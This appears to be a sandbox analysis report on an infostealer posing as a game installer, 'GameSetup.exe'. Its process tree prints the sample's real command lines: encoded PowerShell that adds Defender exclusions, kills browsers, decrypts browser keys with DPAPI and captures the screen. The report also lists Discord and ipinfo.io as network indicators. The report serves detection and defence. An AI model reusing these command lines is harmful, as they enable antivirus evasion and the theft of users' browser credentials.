a5a624fffdd4f22d62fa00da3e3033220998bc4b4880708d274b90a95bd86ca2

Analysis

max time kernel
298s
max time network
187s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
03/08/2026, 12:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
GameSetup.exe
Size 178.0MB
Sample260803-pr6gdahe39
SHA256 a5a624fffdd4f22d62fa00da3e3033220998bc4b4880708d274b90a95bd86ca2
MD5 e10855f604fa34ba40805c411a4cc30d
SHA1 a669b078606d09f9aa897cf691cc82977e9e46fb
SHA512 bb9c493b1f1af8386efb5b6b1ed04384518c44bbc313cd259c4be5e3c308f5b20cb606c56bfd3086539edfb08862200c86444038f3c4627f1fe17c5f292e0a28
SSDEEP 1572864:w7N/dTr80yRuIK4Sqfg6ll8HiptFi98D1fX0rxuK/xjMFbZPGoB30iSs0hfEv4S4:ESm7UkF9um
TLSH
T14B988C03F39610E9E05DD1B18B9B9633EA72B8454724B2DF2A6407562F77EE42B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1736	powershell.exe
1924	powershell.exe
1700	powershell.exe
4588	powershell.exe
2216	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3508	ChromeElevator.exe
4864	ChromeElevator.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
4	discord.com
6	discord.com
2	discord.com

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ipinfo.io
3	ipinfo.io

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1452	cscript.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2464	cmd.exe
1188	cmd.exe
2604	cmd.exe
4592	cmd.exe
464	cmd.exe
780	cmd.exe
980	cmd.exe
1140	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	GameSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	GameSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	GameSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	GameSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	GameSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	GameSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	GameSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	GameSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	GameSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	GameSetup.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1224	WMIC.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
1608	taskkill.exe
1140	taskkill.exe
4760	taskkill.exe
2852	taskkill.exe
3736	taskkill.exe
4948	taskkill.exe
3392	taskkill.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1700	powershell.exe
1700	powershell.exe
4588	powershell.exe
4588	powershell.exe
1736	powershell.exe
1736	powershell.exe
1924	powershell.exe
1924	powershell.exe
2216	powershell.exe
2216	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeDebugPrivilege	3736	taskkill.exe
Token: SeDebugPrivilege	3392	taskkill.exe
Token: SeDebugPrivilege	1608	taskkill.exe
Token: SeDebugPrivilege	4760	taskkill.exe
Token: SeDebugPrivilege	1140	taskkill.exe
Token: SeDebugPrivilege	4948	taskkill.exe
Token: SeDebugPrivilege	2852	taskkill.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeShutdownPrivilege	552	GameSetup.exe
Token: SeCreatePagefilePrivilege	552	GameSetup.exe
Token: SeIncreaseQuotaPrivilege	1224	WMIC.exe
Token: SeSecurityPrivilege	1224	WMIC.exe
Token: SeTakeOwnershipPrivilege	1224	WMIC.exe
Token: SeLoadDriverPrivilege	1224	WMIC.exe
Token: SeSystemProfilePrivilege	1224	WMIC.exe
Token: SeSystemtimePrivilege	1224	WMIC.exe
Token: SeProfSingleProcessPrivilege	1224	WMIC.exe
Token: SeIncBasePriorityPrivilege	1224	WMIC.exe
Token: SeCreatePagefilePrivilege	1224	WMIC.exe
Token: SeBackupPrivilege	1224	WMIC.exe
Token: SeRestorePrivilege	1224	WMIC.exe
Token: SeShutdownPrivilege	1224	WMIC.exe
Token: SeDebugPrivilege	1224	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1224	WMIC.exe
Token: SeRemoteShutdownPrivilege	1224	WMIC.exe
Token: SeUndockPrivilege	1224	WMIC.exe
Token: SeManageVolumePrivilege	1224	WMIC.exe
Token: 33	1224	WMIC.exe
Token: 34	1224	WMIC.exe
Token: 35	1224	WMIC.exe
Token: 36	1224	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1224	WMIC.exe
Token: SeSecurityPrivilege	1224	WMIC.exe
Token: SeTakeOwnershipPrivilege	1224	WMIC.exe
Token: SeLoadDriverPrivilege	1224	WMIC.exe
Token: SeSystemProfilePrivilege	1224	WMIC.exe
Token: SeSystemtimePrivilege	1224	WMIC.exe
Token: SeProfSingleProcessPrivilege	1224	WMIC.exe
Token: SeIncBasePriorityPrivilege	1224	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
552	GameSetup.exe
552	GameSetup.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 552 wrote to memory of 4556	552	GameSetup.exe	80
PID 552 wrote to memory of 2988	552	GameSetup.exe	81
PID 552 wrote to memory of 2464	552	GameSetup.exe	82
PID 2464 wrote to memory of 1700	2464	cmd.exe	84
PID 552 wrote to memory of 1188	552	GameSetup.exe	85
PID 1188 wrote to memory of 1452	1188	cmd.exe	87
PID 552 wrote to memory of 1608	552	GameSetup.exe	88
PID 552 wrote to memory of 1140	552	GameSetup.exe	89
PID 552 wrote to memory of 4760	552	GameSetup.exe	90
PID 552 wrote to memory of 3392	552	GameSetup.exe	91
PID 552 wrote to memory of 4948	552	GameSetup.exe	92
PID 552 wrote to memory of 3736	552	GameSetup.exe	93
PID 552 wrote to memory of 2852	552	GameSetup.exe	94
PID 552 wrote to memory of 2604	552	GameSetup.exe	96
PID 2604 wrote to memory of 4588	2604	cmd.exe	98
PID 552 wrote to memory of 3508	552	GameSetup.exe	99
PID 3508 wrote to memory of 1208	3508	ChromeElevator.exe	101
PID 3508 wrote to memory of 1208	3508	ChromeElevator.exe	101
PID 552 wrote to memory of 4864	552	GameSetup.exe	104
PID 4864 wrote to memory of 3212	4864	ChromeElevator.exe	106
PID 4864 wrote to memory of 3212	4864	ChromeElevator.exe	106
PID 552 wrote to memory of 4592	552	GameSetup.exe	107
PID 4592 wrote to memory of 1736	4592	cmd.exe	109
PID 552 wrote to memory of 464	552	GameSetup.exe	110
PID 464 wrote to memory of 1924	464	cmd.exe	112
PID 552 wrote to memory of 780	552	GameSetup.exe	113
PID 780 wrote to memory of 1224	780	cmd.exe	115
PID 552 wrote to memory of 980	552	GameSetup.exe	116
PID 980 wrote to memory of 2216	980	cmd.exe	118
PID 552 wrote to memory of 1140	552	GameSetup.exe	119
PID 1140 wrote to memory of 3816	1140	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\GameSetup.exe
"C:\Users\Admin\AppData\Local\Temp\GameSetup.exe"
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:552
- C:\Users\Admin\AppData\Local\Temp\GameSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\GameSetup.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --gpu-preferences=UAAAAAAAAADgAQAMAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --field-trial-handle=1656,i,11690010385898902100,12730668370407022319,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1648 /prefetch:2
  2⤵
  PID:4556
- C:\Users\Admin\AppData\Local\Temp\GameSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\GameSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --field-trial-handle=2040,i,11690010385898902100,12730668370407022319,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:11
  2⤵
  PID:2988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEcAYQBtAGUAUwBlAHQAdQBwAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAnADsAJABwAC4AUwBwAGwAaQB0ACgAJwAsACcAKQAuAEYAbwByAEUAYQBjAGgAKAB7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAF8AIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQB9ACkA"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEcAYQBtAGUAUwBlAHQAdQBwAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAnADsAJABwAC4AUwBwAGwAaQB0ACgAJwAsACcAKQAuAEYAbwByAEUAYQBjAGgAKAB7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAF8AIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQB9ACkA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785761017391.vbs""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Windows\system32\cscript.exe
    cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785761017391.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:1452
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM chrome.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1608
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msedge.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM brave.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4760
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM opera.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM vivaldi.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM operagx.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3736
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM opera_crashreporter.exe /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA1ADcANgAxADAAMQA5ADYANAAxACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANQA3ADYAMQAwADEAOQA2ADQAMQBcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA1ADcANgAxADAAMQA5ADYANAAxACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANQA3ADYAMQAwADEAOQA2ADQAMQBcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- C:\Users\Admin\AppData\Local\Temp\elev_1785761019641\ChromeElevator.exe
  C:\Users\Admin\AppData\Local\Temp\elev_1785761019641\ChromeElevator.exe chrome -o C:\Users\Admin\AppData\Local\Temp\elev_out_1785761019594
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:1208
- C:\Users\Admin\AppData\Local\Temp\elev_1785761019641\ChromeElevator.exe
  C:\Users\Admin\AppData\Local\Temp\elev_1785761019641\ChromeElevator.exe edge -o C:\Users\Admin\AppData\Local\Temp\elev_out_1785761019594
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:3212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_72ee8a67.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9LmlyHWVnECp1S3xRVXk0BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAGgAlTgDVOeezRsrO6j1b3sddKb+2oXmJGnHVd+CYRrIAAAAAA6AAAAAAgAAIAAAAJTAdEkjUFEzscdIYGtD6CVOdZm0zWk1t2KfD+cSfPqyMAAAANWamsIO7l9lNZhHVT9TMuqMgp7IEV8sMD5I9O48NGd8+wpg8LTf8YlHJJ9uoone4kAAAAB2kIjXMPCOwwD/ONw0EAFeEdvnStQX1wKStmJSYE9Ek9eYLDVt0ofa+ToNi4FAIREhjAArX9pLr6f/L63XJSIl""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_72ee8a67.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9LmlyHWVnECp1S3xRVXk0BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAGgAlTgDVOeezRsrO6j1b3sddKb+2oXmJGnHVd+CYRrIAAAAAA6AAAAAAgAAIAAAAJTAdEkjUFEzscdIYGtD6CVOdZm0zWk1t2KfD+cSfPqyMAAAANWamsIO7l9lNZhHVT9TMuqMgp7IEV8sMD5I9O48NGd8+wpg8LTf8YlHJJ9uoone4kAAAAB2kIjXMPCOwwD/ONw0EAFeEdvnStQX1wKStmJSYE9Ek9eYLDVt0ofa+ToNi4FAIREhjAArX9pLr6f/L63XJSIl"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_72ee8a67.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9LmlyHWVnECp1S3xRVXk0BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAkT2+SHnxqq2a9jyTsr2p4R79KcNf92qMzq0u6UcbK9YAAAAADoAAAAACAAAgAAAAsrMvfOgIzCeNmTL98ESAhL5qujSs8wSwDLbsUMi5aaMwAAAAzp50KIAZHZut5y/KySAwR14ksi5rSQksZxzuwb61URGzZAH84EUXrlD0N45LHOWAQAAAAN7e09CEo+0ILEF3pHATkuqp8Z/YuiaoTl/opwzLwByoe/FmkDPLbiJuH8eTdZiDhxfji0Nh8SDohFReDqoWTn4=""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_72ee8a67.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9LmlyHWVnECp1S3xRVXk0BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAkT2+SHnxqq2a9jyTsr2p4R79KcNf92qMzq0u6UcbK9YAAAAADoAAAAACAAAgAAAAsrMvfOgIzCeNmTL98ESAhL5qujSs8wSwDLbsUMi5aaMwAAAAzp50KIAZHZut5y/KySAwR14ksi5rSQksZxzuwb61URGzZAH84EUXrlD0N45LHOWAQAAAAN7e09CEo+0ILEF3pHATkuqp8Z/YuiaoTl/opwzLwByoe/FmkDPLbiJuH8eTdZiDhxfji0Nh8SDohFReDqoWTn4="
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name /value
    3⤵
    - Detects videocard installed
    - Suspicious use of AdjustPrivilegeToken
    PID:1224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1140
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Valve\Steam" /v SteamPath
    3⤵
    PID:3816

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2552

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

All CreditCards.txt

Path C:\Users\Admin\AppData\Local\8cef13b0627fafcf\All CreditCards.txt
Size 52B
SHA256 cdc94d0ff0d871d27b41c97a0d3b9efab43dadf336a76c9eafd6002ac9e2e2cc
MD5 eac0eed4b0db3855bf9a24434a8ced20
SHA1 7e7a4763f275fc65fec810a855c25c1643790204
SHA512 e03bc29aee6adbb094c7af51cdb0a1f9c712c9ce813e15a6119d9b6b4f459584a083bf777836c27f5fe5cdadcb18d41fd830feb21584a9ddb9643d73e8fd7f03
MD5 SHA1 SHA512

Submit Download

All Autofill.txt

Path C:\Users\Admin\AppData\Local\8cef13b0627fafcf\browser_data\autofills\All Autofill.txt
Size 97B
